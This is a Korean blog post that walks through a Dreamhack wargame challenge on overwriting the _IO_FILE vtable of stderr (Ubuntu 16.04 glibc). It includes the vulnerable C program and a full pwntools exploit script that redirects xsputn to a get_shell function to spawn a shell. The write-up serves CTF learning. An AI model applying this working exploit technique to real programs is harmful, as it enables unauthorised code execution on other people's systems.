rosieblue
article thumbnail
728x90

참고
[Pwnable/FSOP] - [FSOP] _IO_FILE vtable overwrite (~Ubuntu 16.04)

 

[FSOP] _IO_FILE vtable overwrite (~Ubuntu 16.04)

 

hannahsecurity.tistory.com

위의 내용을 알아야 풀 수 있당
 

 

Ubuntu 16.04이기 때문에 vtable 검증 로직이 존재하지 않아 쉽게 overwrite할 수 있다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char name[8];
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    int idx = 0;
    int sel;

    initialize();

    printf("what is your name: ");
    read(0, name, 8); //name 8byte만큼 입력
    while(1) {
        printf("1. print\n");
        printf("2. error\n");
        printf("3. read\n");
        printf("4. chance\n");
        printf("> ");

        scanf("%d", &sel);
        switch(sel) {
            case 1:
                printf("GOOD\n");
                break;
            case 2:
                fprintf(stderr, "ERROR\n");
                break;
            case 3:
                fgetc(stdin); //stdin에서 글자 하나 받아오기
                break;
            case 4:
                printf("change: ");
                read(0, stderr + 1, 8);
                break;
            default:
                break;
            }
    }
    return 0;
}

 
포인터 자료형 연산 주의 : 포인터에 산술 연산을 하면 가리키는 자료형 크기기준으로 연산하는 것임
 

read(0, stderr + 1, 8);

stderr+1위치는 stderr가 가리키는 곳에서 FILE 구조체만큼 떨어진 위치로, vtable이 있는 곳.
따라서 위 명령어는 stderr의 vtable 위치 자체를 overwrite할 수 있다.
 

stderr, vtable, stdout 이 있는 것을 확인할 수 있다

 
따라서 name위치에 get_shell 주소를 입력하고, vtable 주소에는 name 주소 - 0x38 해주면 되겠다
0x38은 xsputn의 오프셋이다

from pwn import *

#p=process("./iofile_vtable")
p=remote("host3.dreamhack.games",11039)
context.log_level='debug'
e=ELF("./iofile_vtable")

name=e.symbols["name"]
get_shell=e.symbols["get_shell"]

def error_fp():
        p.sendlineafter("> ","2")

def change(data):
        p.sendlineafter("> ","4")
        p.sendafter("change: ",data)


p.sendafter("what is your name: ",p64(get_shell))
change(p64(name-0x38))
error_fp()

p.interactive()

 

 

'Linux Exploitation > Wargame' 카테고리의 다른 글

[드림핵(Dreamhack)] environ  (0) 2023.08.18
[드림핵(Dreamhack)] ssp_000  (0) 2023.08.17
[Pwnable.kr] passcode  (0) 2023.07.27
[드림핵(Dreamhack)] send_sig  (0) 2023.07.25
[드림핵(Dreamhack)] master_canary  (0) 2023.07.22
profile

rosieblue

@Rosieblue

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!